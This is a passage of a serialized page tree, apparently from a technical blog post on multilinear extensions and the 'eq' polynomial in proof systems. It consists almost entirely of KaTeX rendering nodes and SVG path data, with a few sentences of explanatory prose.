56},{"type":23,"tag":139,"props":109510,"children":109512},{"className":109511},[2035],[109513],{"type":23,"tag":139,"props":109514,"children":109516},{"className":109515,"style":91034},[2040],[109517],{"type":23,"tag":139,"props":109518,"children":109519},{},[],{"type":23,"tag":139,"props":109521,"children":109523},{"className":109522,"style":2187},[2089],[],{"type":23,"tag":139,"props":109525,"children":109527},{"className":109526},[2192],[109528],{"type":28,"value":1067},{"type":23,"tag":139,"props":109530,"children":109532},{"className":109531,"style":2187},[2089],[],{"type":23,"tag":139,"props":109534,"children":109536},{"className":109535},[1998],[109537,109541,109546,109551,109556,109560,109565],{"type":23,"tag":139,"props":109538,"children":109540},{"className":109539,"style":2110},[2003],[],{"type":23,"tag":139,"props":109542,"children":109544},{"className":109543},[2009,19596],[109545],{"type":28,"value":64},{"type":23,"tag":139,"props":109547,"children":109549},{"className":109548},[19725],[109550],{"type":28,"value":262},{"type":23,"tag":139,"props":109552,"children":109554},{"className":109553},[2009],[109555],{"type":28,"value":647},{"type":23,"tag":139,"props":109557,"children":109559},{"className":109558,"style":2090},[2089],[],{"type":23,"tag":139,"props":109561,"children":109563},{"className":109562},[2095],[109564],{"type":28,"value":2069},{"type":23,"tag":139,"props":109566,"children":109568},{"className":109567,"style":2090},[2089],[],{"type":23,"tag":139,"props":109570,"children":109572},{"className":109571},[1998],[109573,109577,109582,109639,109644,109648,109653],{"type":23,"tag":139,"props":109574,"children":109576},{"className":109575,"style":2110},[2003],[],{"type":23,"tag":139,"props":109578,"children":109580},{"className":109579},[2009],[109581],{"type":28,"value":1099},{"type":23,"tag":139,"props":109583,"children":109585},{"className":109584},[2009],[109586,109591],{"type":23,"tag":139,"props":109587,"children":109589},{"className":109588,"style":90951},[2009,19596],[109590],{"type":28,"value":91770},{"type":23,"tag":139,"props":109592,"children":109594},{"className":109593},[2025],[109595],{"type":23,"tag":139,"props":109596,"children":109598},{"className":109597},[2030,19650],[109599,109628],{"type":23,"tag":139,"props":109600,"children":109602},{"className":109601},[2035],[109603,109623],{"type":23,"tag":139,"props":109604,"children":109606},{"className":109605,"style":91480},[2040],[109607],{"type":23,"tag":139,"props":109608,"children":109609},{"style":107950},[109610,109614],{"type":23,"tag":139,"props":109611,"children":109613},{"className":109612,"style":2050},[2049],[],{"type":23,"tag":139,"props":109615,"children":109617},{"className":109616},[2055,2056,2057,2058],[109618],{"type":23,"tag":139,"props":109619,"children":109621},{"className":109620},[2009,19596,2058],[109622],{"type":28,"value":1728},{"type":23,"tag":139,"props":109624,"children":109626},{"className":109625},[19753],[109627],{"type":28,"value":19756},{"type":23,"tag":139,"props":109629,"children":109631},{"className":109630},[2035],[109632],{"type":23,"tag":139,"props":109633,"children":109635},{"className":109634,"style":91034},[2040],[109636],{"type":23,"tag":139,"props":109637,"children":109638},{},[],{"type":23,"tag":139,"props":109640,"children":109642},{"className":109641},[19747],[109643],{"type":28,"value":1104},{"type":23,"tag":139,"props":109645,"children":109647},{"className":109646,"style":2090},[2089],[],{"type":23,"tag":139,"props":109649,"children":109651},{"className":109650},[2095],[109652],{"type":28,"value":2382},{"type":23,"tag":139,"props":109654,"children":109656},{"className":109655,"style":2090},[2089],[],{"type":23,"tag":139,"props":109658,"children":109660},{"className":109659},[1998],[109661,109665,109736,109740,109745],{"type":23,"tag":139,"props":109662,"children":109664},{"className":109663,"style":108351},[2003],[],{"type":23,"tag":139,"props":109666,"children":109668},{"className":109667},[2009],[109669,109674],{"type":23,"tag":139,"props":109670,"children":109672},{"className":109671,"style":91185},[2009,19596],[109673],{"type":28,"value":91188},{"type":23,"tag":139,"props":109675,"children":109677},{"className":109676},[2025],[109678],{"type":23,"tag":139,"props":109679,"children":109681},{"className":109680},[2030,19650],[109682,109725],{"type":23,"tag":139,"props":109683,"children":109685},{"className":109684},[2035],[109686,109720],{"type":23,"tag":139,"props":109687,"children":109689},{"className":109688,"style":91480},[2040],[109690],{"type":23,"tag":139,"props":109691,"children":109692},{"style":108380},[109693,109697],{"type":23,"tag":139,"props":109694,"children":109696},{"className":109695,"style":2050},[2049],[],{"type":23,"tag":139,"props":109698,"children":109700},{"className":109699},[2055,2056,2057,2058],[109701],{"type":23,"tag":139,"props":109702,"children":109704},{"className":109703},[2009,2058],[109705,109710,109715],{"type":23,"tag":139,"props":109706,"children":109708},{"className":109707},[2009,19596,2058],[109709],{"type":28,"value":1728},{"type":23,"tag":139,"props":109711,"children":109713},{"className":109712},[2095,2058],[109714],{"type":28,"value":2069},{"type":23,"tag":139,"props":109716,"children":109718},{"className":109717},[2009,2058],[109719],{"type":28,"value":647},{"type":23,"tag":139,"props":109721,"children":109723},{"className":109722},[19753],[109724],{"type":28,"value":19756},{"type":23,"tag":139,"props":109726,"children":109728},{"className":109727},[2035],[109729],{"type":23,"tag":139,"props":109730,"children":109732},{"className":109731,"style":108421},[2040],[109733],{"type":23,"tag":139,"props":109734,"children":109735},{},[],{"type":23,"tag":139,"props":109737,"children":109739},{"className":109738,"style":2090},[2089],[],{"type":23,"tag":139,"props":109741,"children":109743},{"className":109742},[2095],[109744],{"type":28,"value":109213},{"type":23,"tag":139,"props":109746,"children":109748},{"className":109747,"style":2090},[2089],[],{"type":23,"tag":139,"props":109750,"children":109752},{"className":109751},[1998],[109753,109757],{"type":23,"tag":139,"props":109754,"children":109756},{"className":109755,"style":107921},[2003],[],{"type":23,"tag":139,"props":109758,"children":109760},{"className":109759},[2009],[109761,109766],{"type":23,"tag":139,"props":109762,"children":109764},{"className":109763,"style":90951},[2009,19596],[109765],{"type":28,"value":91770},{"type":23,"tag":139,"props":109767,"children":109769},{"className":109768},[2025],[109770],{"type":23,"tag":139,"props":109771,"children":109773},{"className":109772},[2030,19650],[109774,109803],{"type":23,"tag":139,"props":109775,"children":109777},{"className":109776},[2035],[109778,109798],{"type":23,"tag":139,"props":109779,"children":109781},{"className":109780,"style":91480},[2040],[109782],{"type":23,"tag":139,"props":109783,"children":109784},{"style":107950},[109785,109789],{"type":23,"tag":139,"props":109786,"children":109788},{"className":109787,"style":2050},[2049],[],{"type":23,"tag":139,"props":109790,"children":109792},{"className":109791},[2055,2056,2057,2058],[109793],{"type":23,"tag":139,"props":109794,"children":109796},{"className":109795},[2009,19596,2058],[109797],{"type":28,"value":1728},{"type":23,"tag":139,"props":109799,"children":109801},{"className":109800},[19753],[109802],{"type":28,"value":19756},{"type":23,"tag":139,"props":109804,"children":109806},{"className":109805},[2035],[109807],{"type":23,"tag":139,"props":109808,"children":109810},{"className":109809,"style":91034},[2040],[109811],{"type":23,"tag":139,"props":109812,"children":109813},{},[],{"type":23,"tag":24,"props":109815,"children":109816},{},[109817,109818,109914,109916,109941,109943,109968],{"type":28,"value":44032},{"type":23,"tag":56,"props":109819,"children":109820},{},[109821,109823],{"type":28,"value":109822},"linear in ",{"type":23,"tag":135,"props":109824,"children":109826},{"className":109825},[1981,1982],[109827],{"type":23,"tag":139,"props":109828,"children":109830},{"className":109829},[1987],[109831],{"type":23,"tag":139,"props":109832,"children":109834},{"className":109833,"ariaHidden":1993},[1992],[109835],{"type":23,"tag":139,"props":109836,"children":109838},{"className":109837},[1998],[109839,109843],{"type":23,"tag":139,"props":109840,"children":109842},{"className":109841,"style":108351},[2003],[],{"type":23,"tag":139,"props":109844,"children":109846},{"className":109845},[2009],[109847,109852],{"type":23,"tag":139,"props":109848,"children":109850},{"className":109849,"style":91185},[2009,19596],[109851],{"type":28,"value":91188},{"type":23,"tag":139,"props":109853,"children":109855},{"className":109854},[2025],[109856],{"type":23,"tag":139,"props":109857,"children":109859},{"className":109858},[2030,19650],[109860,109903],{"type":23,"tag":139,"props":109861,"children":109863},{"className":109862},[2035],[109864,109898],{"type":23,"tag":139,"props":109865,"children":109867},{"className":109866,"style":91480},[2040],[109868],{"type":23,"tag":139,"props":109869,"children":109870},{"style":108380},[109871,109875],{"type":23,"tag":139,"props":109872,"children":109874},{"className":109873,"style":2050},[2049],[],{"type":23,"tag":139,"props":109876,"children":109878},{"className":109877},[2055,2056,2057,2058],[109879],{"type":23,"tag":139,"props":109880,"children":109882},{"className":109881},[2009,2058],[109883,109888,109893],{"type":23,"tag":139,"props":109884,"children":109886},{"className":109885},[2009,19596,2058],[109887],{"type":28,"value":1728},{"type":23,"tag":139,"props":109889,"children":109891},{"className":109890},[2095,2058],[109892],{"type":28,"value":2069},{"type":23,"tag":139,"props":109894,"children":109896},{"className":109895},[2009,2058],[109897],{"type":28,"value":647},{"type":23,"tag":139,"props":109899,"children":109901},{"className":109900},[19753],[109902],{"type":28,"value":19756},{"type":23,"tag":139,"props":109904,"children":109906},{"className":109905},[2035],[109907],{"type":23,"tag":139,"props":109908,"children":109910},{"className":109909,"style":108421},[2040],[109911],{"type":23,"tag":139,"props":109912,"children":109913},{},[],{"type":28,"value":109915},"! By induction, the final claim is linear in the original ",{"type":23,"tag":135,"props":109917,"children":109919},{"className":109918},[1981,1982],[109920],{"type":23,"tag":139,"props":109921,"children":109923},{"className":109922},[1987],[109924],{"type":23,"tag":139,"props":109925,"children":109927},{"className":109926,"ariaHidden":1993},[1992],[109928],{"type":23,"tag":139,"props":109929,"children":109931},{"className":109930},[1998],[109932,109936],{"type":23,"tag":139,"props":109933,"children":109935},{"className":109934,"style":19591},[2003],[],{"type":23,"tag":139,"props":109937,"children":109939},{"className":109938,"style":91185},[2009,19596],[109940],{"type":28,"value":91188},{"type":28,"value":109942},". If ",{"type":23,"tag":135,"props":109944,"children":109946},{"className":109945},[1981,1982],[109947],{"type":23,"tag":139,"props":109948,"children":109950},{"className":109949},[1987],[109951],{"type":23,"tag":139,"props":109952,"children":109954},{"className":109953,"ariaHidden":1993},[1992],[109955],{"type":23,"tag":139,"props":109956,"children":109958},{"className":109957},[1998],[109959,109963],{"type":23,"tag":139,"props":109960,"children":109962},{"className":109961,"style":19591},[2003],[],{"type":23,"tag":139,"props":109964,"children":109966},{"className":109965,"style":91185},[2009,19596],[109967],{"type":28,"value":91188},{"type":28,"value":109969}," isn't in the transcript, we can solve for it.",{"type":23,"tag":666,"props":109971,"children":109973},{"id":109972},"multilinear-extensions-mles",[109974],{"type":28,"value":109975},"Multilinear Extensions (MLEs)",{"type":23,"tag":24,"props":109977,"children":109978},{},[109979,109981,110066],{"type":28,"value":109980},"An MLE is just the polynomial view of a table over ",{"type":23,"tag":135,"props":109982,"children":109984},{"className":109983},[1981,1982],[109985],{"type":23,"tag":139,"props":109986,"children":109988},{"className":109987},[1987],[109989],{"type":23,"tag":139,"props":109990,"children":109992},{"className":109991,"ariaHidden":1993},[1992],[109993],{"type":23,"tag":139,"props":109994,"children":109996},{"className":109995},[1998],[109997,110001,110006,110011,110016,110020,110025],{"type":23,"tag":139,"props":109998,"children":110000},{"className":109999,"style":2110},[2003],[],{"type":23,"tag":139,"props":110002,"children":110004},{"className":110003},[19725],[110005],{"type":28,"value":74522},{"type":23,"tag":139,"props":110007,"children":110009},{"className":110008},[2009],[110010],{"type":28,"value":2021},{"type":23,"tag":139,"props":110012,"children":110014},{"className":110013},[2121],[110015],{"type":28,"value":2124},{"type":23,"tag":139,"props":110017,"children":110019},{"className":110018,"style":2128},[2089],[],{"type":23,"tag":139,"props":110021,"children":110023},{"className":110022},[2009],[110024],{"type":28,"value":647},{"type":23,"tag":139,"props":110026,"children":110028},{"className":110027},[19747],[110029,110034],{"type":23,"tag":139,"props":110030,"children":110032},{"className":110031},[19747],[110033],{"type":28,"value":32029},{"type":23,"tag":139,"props":110035,"children":110037},{"className":110036},[2025],[110038],{"type":23,"tag":139,"props":110039,"children":110041},{"className":110040},[2030],[110042],{"type":23,"tag":139,"props":110043,"children":110045},{"className":110044},[2035],[110046],{"type":23,"tag":139,"props":110047,"children":110049},{"className":110048,"style":106668},[2040],[110050],{"type":23,"tag":139,"props":110051,"children":110052},{"style":2044},[110053,110057],{"type":23,"tag":139,"props":110054,"children":110056},{"className":110055,"style":2050},[2049],[],{"type":23,"tag":139,"props":110058,"children":110060},{"className":110059},[2055,2056,2057,2058],[110061],{"type":23,"tag":139,"props":110062,"children":110064},{"className":110063},[2009,19596,2058],[110065],{"type":28,"value":54302},{"type":28,"value":110067},": it matches the table on Boolean points and extends it to field points.",{"type":23,"tag":24,"props":110069,"children":110070},{},[110071],{"type":28,"value":110072},"For this post, the only property you need is:",{"type":23,"tag":24,"props":110074,"children":110075},{},[110076],{"type":23,"tag":135,"props":110077,"children":110079},{"className":110078},[1981,1982],[110080],{"type":23,"tag":139,"props":110081,"children":110083},{"className":110082},[1987],[110084],{"type":23,"tag":139,"props":110085,"children":110087},{"className":110086,"ariaHidden":1993},[1992],[110088,110250,110522],{"type":23,"tag":139,"props":110089,"children":110091},{"className":110090},[1998],[110092,110097,110166,110171,110232,110237,110241,110246],{"type":23,"tag":139,"props":110093,"children":110096},{"className":110094,"style":110095},[2003],"height:1.1813em;vertical-align:-0.25em;",[],{"type":23,"tag":139,"props":110098,"children":110101},{"className":110099},[2009,110100],"accent",[110102],{"type":23,"tag":139,"props":110103,"children":110105},{"className":110104},[2030,19650],[110106,110154],{"type":23,"tag":139,"props":110107,"children":110109},{"className":110108},[2035],[110110,110149],{"type":23,"tag":139,"props":110111,"children":110114},{"className":110112,"style":110113},[2040],"height:0.9313em;",[110115,110129],{"type":23,"tag":139,"props":110116,"children":110118},{"style":110117},"top:-3em;",[110119,110124],{"type":23,"tag":139,"props":110120,"children":110123},{"className":110121,"style":110122},[2049],"height:3em;",[],{"type":23,"tag":139,"props":110125,"children":110127},{"className":110126,"style":93305},[2009,19596],[110128],{"type":28,"value":30973},{"type":23,"tag":139,"props":110130,"children":110132},{"style":110131},"top:-3.6134em;",[110133,110137],{"type":23,"tag":139,"props":110134,"children":110136},{"className":110135,"style":110122},[2049],[],{"type":23,"tag":139,"props":110138,"children":110142},{"className":110139,"style":110141},[110140],"accent-body","left:-0.0833em;",[110143],{"type":23,"tag":139,"props":110144,"children":110146},{"className":110145},[2009],[110147],{"type":28,"value":110148},"~",{"type":23,"tag":139,"props":110150,"children":110152},{"className":110151},[19753],[110153],{"type":28,"value":19756},{"type":23,"tag":139,"props":110155,"children":110157},{"className":110156},[2035],[110158],{"type":23,"tag":139,"props":110159,"children":110162},{"className":110160,"style":110161},[2040],"height:0.1944em;",[110163],{"type":23,"tag":139,"props":110164,"children":110165},{},[],{"type":23,"tag":139,"props":110167,"children":110169},{"className":110168},[19725],[110170],{"type":28,"value":262},{"type":23,"tag":139,"props":110172,"children":110174},{"className":110173},[2009,110100],[110175],{"type":23,"tag":139,"props":110176,"children":110178},{"className":110177},[2030],[110179],{"type":23,"tag":139,"props":110180,"children":110182},{"className":110181},[2035],[110183],{"type":23,"tag":139,"props":110184,"children":110187},{"className":110185,"style":110186},[2040],"height:0.714em;",[110188,110200],{"type":23,"tag":139,"props":110189,"children":110190},{"style":110117},[110191,110195],{"type":23,"tag":139,"props":110192,"children":110194},{"className":110193,"style":110122},[2049],[],{"type":23,"tag":139,"props":110196,"children":110198},{"className":110197,"style":90951},[2009,19596],[110199],{"type":28,"value":91770},{"type":23,"tag":139,"props":110201,"children":110202},{"style":110117},[110203,110207],{"type":23,"tag":139,"props":110204,"children":110206},{"className":110205,"style":110122},[2049],[],{"type":23,"tag":139,"props":110208,"children":110211},{"className":110209,"style":110210},[110140],"left:-0.1799em;",[110212],{"type":23,"tag":139,"props":110213,"children":110217},{"className":110214,"style":110216},[110215],"overlay","height:0.714em;width:0.471em;",[110218],{"type":23,"tag":32162,"props":110219,"children":110226},{"xmlns":110220,"width":110221,"height":110222,"style":110223,"viewBox":110224,"preserveAspectRatio":110225},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[110227],{"type":23,"tag":110228,"props":110229,"children":110231},"path",{"d":110230},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":23,"tag":139,"props":110233,"children":110235},{"className":110234},[19747],[110236],{"type":28,"value":1104},{"type":23,"tag":139,"props":110238,"children":110240},{"className":110239,"style":2187},[2089],[],{"type":23,"tag":139,"props":110242,"children":110244},{"className":110243},[2192],[110245],{"type":28,"value":1067},{"type":23,"tag":139,"props":110247,"children":110249},{"className":110248,"style":2187},[2089],[],{"type":23,"tag":139,"props":110251,"children":110253},{"className":110252},[1998],[110254,110259,110440,110444,110449,110454,110504,110509,110513,110518],{"type":23,"tag":139,"props":110255,"children":110258},{"className":110256,"style":110257},[2003],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":23,"tag":139,"props":110260,"children":110262},{"className":110261},[19632],[110263,110268],{"type":23,"tag":139,"props":110264,"children":110266},{"className":110265,"style":19639},[19632,19637,19638],[110267],{"type":28,"value":106746},{"type":23,"tag":139,"props":110269,"children":110271},{"className":110270},[2025],[110272],{"type":23,"tag":139,"props":110273,"children":110275},{"className":110274},[2030,19650],[110276,110428],{"type":23,"tag":139,"props":110277,"children":110279},{"className":110278},[2035],[110280,110423],{"type":23,"tag":139,"props":110281,"children":110284},{"className":110282,"style":110283},[2040],"height:0.3448em;",[110285],{"type":23,"tag":139,"props":110286,"children":110288},{"style":110287},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[110289,110293],{"type":23,"tag":139,"props":110290,"children":110292},{"className":110291,"style":2050},[2049],[],{"type":23,"tag":139,"props":110294,"children":110296},{"className":110295},[2055,2056,2057,2058],[110297],{"type":23,"tag":139,"props":110298,"children":110300},{"className":110299},[2009,2058],[110301,110355,110360,110365,110370,110375,110380],{"type":23,"tag":139,"props":110302,"children":110304},{"className":110303},[2009,110100,2058],[110305],{"type":23,"tag":139,"props":110306,"children":110308},{"className":110307},[2030],[110309],{"type":23,"tag":139,"props":110310,"children":110312},{"className":110311},[2035],[110313],{"type":23,"tag":139,"props":110314,"children":110317},{"className":110315,"style":110316},[2040],"height:0.9774em;",[110318,110332],{"type":23,"tag":139,"props":110319,"children":110321},{"style":110320},"top:-2.714em;",[110322,110327],{"type":23,"tag":139,"props":110323,"children":110326},{"className":110324,"style":110325},[2049],"height:2.714em;",[],{"type":23,"tag":139,"props":110328,"children":110330},{"className":110329},[2009,19596,2058],[110331],{"type":28,"value":1199},{"type":23,"tag":139,"props":110333,"children":110335},{"style":110334},"top:-2.9774em;",[110336,110340],{"type":23,"tag":139,"props":110337,"children":110339},{"className":110338,"style":110325},[2049],[],{"type":23,"tag":139,"props":110341,"children":110344},{"className":110342,"style":110343},[110140],"left:-0.2355em;",[110345],{"type":23,"tag":139,"props":110346,"children":110348},{"className":110347,"style":110216},[110215,2058],[110349],{"type":23,"tag":32162,"props":110350,"children":110351},{"xmlns":110220,"width":110221,"height":110222,"style":110223,"viewBox":110224,"preserveAspectRatio":110225},[110352],{"type":23,"tag":110228,"props":110353,"children":110354},{"d":110230},[],{"type":23,"tag":139,"props":110356,"children":110358},{"className":110357},[2192,2058],[110359],{"type":28,"value":19703},{"type":23,"tag":139,"props":110361,"children":110363},{"className":110362},[19725,2058],[110364],{"type":28,"value":74522},{"type":23,"tag":139,"props":110366,"children":110368},{"className":110367},[2009,2058],[110369],{"type":28,"value":2021},{"type":23,"tag":139,"props":110371,"children":110373},{"className":110372},[2121,2058],[110374],{"type":28,"value":2124},{"type":23,"tag":139,"props":110376,"children":110378},{"className":110377},[2009,2058],[110379],{"type":28,"value":647},{"type":23,"tag":139,"props":110381,"children":110383},{"className":110382},[19747,2058],[110384,110389],{"type":23,"tag":139,"props":110385,"children":110387},{"className":110386},[19747,2058],[110388],{"type":28,"value":32029},{"type":23,"tag":139,"props":110390,"children":110392},{"className":110391},[2025],[110393],{"type":23,"tag":139,"props":110394,"children":110396},{"className":110395},[2030],[110397],{"type":23,"tag":139,"props":110398,"children":110400},{"className":110399},[2035],[110401],{"type":23,"tag":139,"props":110402,"children":110405},{"className":110403,"style":110404},[2040],"height:0.5935em;",[110406],{"type":23,"tag":139,"props":110407,"children":110409},{"style":110408},"top:-2.786em;margin-right:0.0714em;",[110410,110414],{"type":23,"tag":139,"props":110411,"children":110413},{"className":110412,"style":106811},[2049],[],{"type":23,"tag":139,"props":110415,"children":110417},{"className":110416},[2055,106816,106817,2058],[110418],{"type":23,"tag":139,"props":110419,"children":110421},{"className":110420},[2009,19596,2058],[110422],{"type":28,"value":54302},{"type":23,"tag":139,"props":110424,"children":110426},{"className":110425},[19753],[110427],{"type":28,"value":19756},{"type":23,"tag":139,"props":110429,"children":110431},{"className":110430},[2035],[110432],{"type":23,"tag":139,"props":110433,"children":110436},{"className":110434,"style":110435},[2040],"height:0.5144em;",[110437],{"type":23,"tag":139,"props":110438,"children":110439},{},[],{"type":23,"tag":139,"props":110441,"children":110443},{"className":110442,"style":2128},[2089],[],{"type":23,"tag":139,"props":110445,"children":110447},{"className":110446,"style":93305},[2009,19596],[110448],{"type":28,"value":30973},{"type":23,"tag":139,"props":110450,"children":110452},{"className":110451},[19725],[110453],{"type":28,"value":262},{"type":23,"tag":139,"props":110455,"children":110457},{"className":110456},[2009,110100],[110458],{"type":23,"tag":139,"props":110459,"children":110461},{"className":110460},[2030],[110462],{"type":23,"tag":139,"props":110463,"children":110465},{"className":110464},[2035],[110466],{"type":23,"tag":139,"props":110467,"children":110469},{"className":110468,"style":110316},[2040],[110470,110482],{"type":23,"tag":139,"props":110471,"children":110472},{"style":110117},[110473,110477],{"type":23,"tag":139,"props":110474,"children":110476},{"className":110475,"style":110122},[2049],[],{"type":23,"tag":139,"props":110478,"children":110480},{"className":110479},[2009,19596],[110481],{"type":28,"value":1199},{"type":23,"tag":139,"props":110483,"children":110485},{"style":110484},"top:-3.2634em;",[110486,110490],{"type":23,"tag":139,"props":110487,"children":110489},{"className":110488,"style":110122},[2049],[],{"type":23,"tag":139,"props":110491,"children":110493},{"className":110492,"style":110343},[110140],[110494],{"type":23,"tag":139,"props":110495,"children":110497},{"className":110496,"style":110216},[110215],[110498],{"type":23,"tag":32162,"props":110499,"children":110500},{"xmlns":110220,"width":110221,"height":110222,"style":110223,"viewBox":110224,"preserveAspectRatio":110225},[110501],{"type":23,"tag":110228,"props":110502,"children":110503},{"d":110230},[],{"type":23,"tag":139,"props":110505,"children":110507},{"className":110506},[19747],[110508],{"type":28,"value":1104},{"type":23,"tag":139,"props":110510,"children":110512},{"className":110511,"style":2090},[2089],[],{"type":23,"tag":139,"props":110514,"children":110516},{"className":110515},[2095],[110517],{"type":28,"value":109213},{"type":23,"tag":139,"props":110519,"children":110521},{"className":110520,"style":2090},[2089],[],{"type":23,"tag":139,"props":110523,"children":110525},{"className":110524},[1998],[110526,110531,110541,110546,110595,110600,110604,110653],{"type":23,"tag":139,"props":110527,"children":110530},{"className":110528,"style":110529},[2003],"height:1.2274em;vertical-align:-0.25em;",[],{"type":23,"tag":139,"props":110532,"children":110534},{"className":110533},[2009,28],[110535],{"type":23,"tag":139,"props":110536,"children":110538},{"className":110537},[2009],[110539],{"type":28,"value":110540},"eq",{"type":23,"tag":139,"props":110542,"children":110544},{"className":110543},[19725],[110545],{"type":28,"value":262},{"type":23,"tag":139,"props":110547,"children":110549},{"className":110548},[2009,110100],[110550],{"type":23,"tag":139,"props":110551,"children":110553},{"className":110552},[2030],[110554],{"type":23,"tag":139,"props":110555,"children":110557},{"className":110556},[2035],[110558],{"type":23,"tag":139,"props":110559,"children":110561},{"className":110560,"style":110316},[2040],[110562,110574],{"type":23,"tag":139,"props":110563,"children":110564},{"style":110117},[110565,110569],{"type":23,"tag":139,"props":110566,"children":110568},{"className":110567,"style":110122},[2049],[],{"type":23,"tag":139,"props":110570,"children":110572},{"className":110571},[2009,19596],[110573],{"type":28,"value":1199},{"type":23,"tag":139,"props":110575,"children":110576},{"style":110484},[110577,110581],{"type":23,"tag":139,"props":110578,"children":110580},{"className":110579,"style":110122},[2049],[],{"type":23,"tag":139,"props":110582,"children":110584},{"className":110583,"style":110343},[110140],[110585],{"type":23,"tag":139,"props":110586,"children":110588},{"className":110587,"style":110216},[110215],[110589],{"type":23,"tag":32162,"props":110590,"children":110591},{"xmlns":110220,"width":110221,"height":110222,"style":110223,"viewBox":110224,"preserveAspectRatio":110225},[110592],{"type":23,"tag":110228,"props":110593,"children":110594},{"d":110230},[],{"type":23,"tag":139,"props":110596,"children":110598},{"className":110597},[2121],[110599],{"type":28,"value":2124},{"type":23,"tag":139,"props":110601,"children":110603},{"className":110602,"style":2128},[2089],[],{"type":23,"tag":139,"props":110605,"children":110607},{"className":110606},[2009,110100],[110608],{"type":23,"tag":139,"props":110609,"children":110611},{"className":110610},[2030],[110612],{"type":23,"tag":139,"props":110613,"children":110615},{"className":110614},[2035],[110616],{"type":23,"tag":139,"props":110617,"children":110619},{"className":110618,"style":110186},[2040],[110620,110632],{"type":23,"tag":139,"props":110621,"children":110622},{"style":110117},[110623,110627],{"type":23,"tag":139,"props":110624,"children":110626},{"className":110625,"style":110122},[2049],[],{"type":23,"tag":139,"props":110628,"children":110630},{"className":110629,"style":90951},[2009,19596],[110631],{"type":28,"value":91770},{"type":23,"tag":139,"props":110633,"children":110634},{"style":110117},[110635,110639],{"type":23,"tag":139,"props":110636,"children":110638},{"className":110637,"style":110122},[2049],[],{"type":23,"tag":139,"props":110640,"children":110642},{"className":110641,"style":110210},[110140],[110643],{"type":23,"tag":139,"props":110644,"children":110646},{"className":110645,"style":110216},[110215],[110647],{"type":23,"tag":32162,"props":110648,"children":110649},{"xmlns":110220,"width":110221,"height":110222,"style":110223,"viewBox":110224,"preserveAspectRatio":110225},[110650],{"type":23,"tag":110228,"props":110651,"children":110652},{"d":110230},[],{"type":23,"tag":139,"props":110654,"children":110656},{"className":110655},[19747],[110657],{"type":28,"value":1104},{"type":23,"tag":24,"props":110659,"children":110660},{},[110661,110663,110732,110734,110880,110882,111021,111023,111107],{"type":28,"value":110662},"At a fixed challenge point ",{"type":23,"tag":135,"props":110664,"children":110666},{"className":110665},[1981,1982],[110667],{"type":23,"tag":139,"props":110668,"children":110670},{"className":110669},[1987],[110671],{"type":23,"tag":139,"props":110672,"children":110674},{"className":110673,"ariaHidden":1993},[1992],[110675],{"type":23,"tag":139,"props":110676,"children":110678},{"className":110677},[1998],[110679,110683],{"type":23,"tag":139,"props":110680,"children":110682},{"className":110681,"style":110186},[2003],[],{"type":23,"tag":139,"props":110684,"children":110686},{"className":110685},[2009,110100],[110687],{"type":23,"tag":139,"props":110688,"children":110690},{"className":110689},[2030],[110691],{"type":23,"tag":139,"props":110692,"children":110694},{"className":110693},[2035],[110695],{"type":23,"tag":139,"props":110696,"children":110698},{"className":110697,"style":110186},[2040],[110699,110711],{"type":23,"tag":139,"props":110700,"children":110701},{"style":110117},[110702,110706],{"type":23,"tag":139,"props":110703,"children":110705},{"className":110704,"style":110122},[2049],[],{"type":23,"tag":139,"props":110707,"children":110709},{"className":110708,"style":90951},[2009,19596],[110710],{"type":28,"value":91770},{"type":23,"tag":139,"props":110712,"children":110713},{"style":110117},[110714,110718],{"type":23,"tag":139,"props":110715,"children":110717},{"className":110716,"style":110122},[2049],[],{"type":23,"tag":139,"props":110719,"children":110721},{"className":110720,"style":110210},[110140],[110722],{"type":23,"tag":139,"props":110723,"children":110725},{"className":110724,"style":110216},[110215],[110726],{"type":23,"tag":32162,"props":110727,"children":110728},{"xmlns":110220,"width":110221,"height":110222,"style":110223,"viewBox":110224,"preserveAspectRatio":110225},[110729],{"type":23,"tag":110228,"props":110730,"children":110731},{"d":110230},[],{"type":28,"value":110733},", the coefficients ",{"type":23,"tag":135,"props":110735,"children":110737},{"className":110736},[1981,1982],[110738],{"type":23,"tag":139,"props":110739,"children":110741},{"className":110740},[1987],[110742],{"type":23,"tag":139,"props":110743,"children":110745},{"className":110744,"ariaHidden":1993},[1992],[110746],{"type":23,"tag":139,"props":110747,"children":110749},{"className":110748},[1998],[110750,110754,110763,110768,110817,110822,110826,110875],{"type":23,"tag":139,"props":110751,"children":110753},{"className":110752,"style":110529},[2003],[],{"type":23,"tag":139,"props":110755,"children":110757},{"className":110756},[2009,28],[110758],{"type":23,"tag":139,"props":110759,"children":110761},{"className":110760},[2009],[110762],{"type":28,"value":110540},{"type":23,"tag":139,"props":110764,"children":110766},{"className":110765},[19725],[110767],{"type":28,"value":262},{"type":23,"tag":139,"props":110769,"children":110771},{"className":110770},[2009,110100],[110772],{"type":23,"tag":139,"props":110773,"children":110775},{"className":110774},[2030],[110776],{"type":23,"tag":139,"props":110777,"children":110779},{"className":110778},[2035],[110780],{"type":23,"tag":139,"props":110781,"children":110783},{"className":110782,"style":110316},[2040],[110784,110796],{"type":23,"tag":139,"props":110785,"children":110786},{"style":110117},[110787,110791],{"type":23,"tag":139,"props":110788,"children":110790},{"className":110789,"style":110122},[2049],[],{"type":23,"tag":139,"props":110792,"children":110794},{"className":110793},[2009,19596],[110795],{"type":28,"value":1199},{"type":23,"tag":139,"props":110797,"children":110798},{"style":110484},[110799,110803],{"type":23,"tag":139,"props":110800,"children":110802},{"className":110801,"style":110122},[2049],[],{"type":23,"tag":139,"props":110804,"children":110806},{"className":110805,"style":110343},[110140],[110807],{"type":23,"tag":139,"props":110808,"children":110810},{"className":110809,"style":110216},[110215],[110811],{"type":23,"tag":32162,"props":110812,"childre